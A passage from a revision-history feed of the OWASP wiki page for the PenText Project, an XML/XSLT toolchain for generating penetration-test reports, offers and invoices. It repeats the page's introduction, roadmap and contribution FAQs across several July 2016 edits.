Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documenation Project is developed by a worldwide team of volunteers. A live update of project  [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The project originated at and is currently maintained by several members of: [https://www.radicallyopensecurity.com Radically Open Security]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219179</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219179"/>
				<updated>2016-07-21T10:36:45Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Coding */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documenation Project is developed by a worldwide team of volunteers. A live update of project  [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The project originated at and is currently maintained by several members of: [https://www.radicallyopensecurity.com Radically Open Security]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219178</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219178"/>
				<updated>2016-07-21T10:35:01Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Acknowledgements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documenation Project is developed by a worldwide team of volunteers. A live update of project  [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The project originated at and is currently maintained by several members of: [https://www.radicallyopensecurity.com Radically Open Security]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219175</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219175"/>
				<updated>2016-07-21T10:30:44Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* If I am not a programmer can I participate in your project? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219174</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219174"/>
				<updated>2016-07-21T10:30:10Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Minimum Viable Product */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
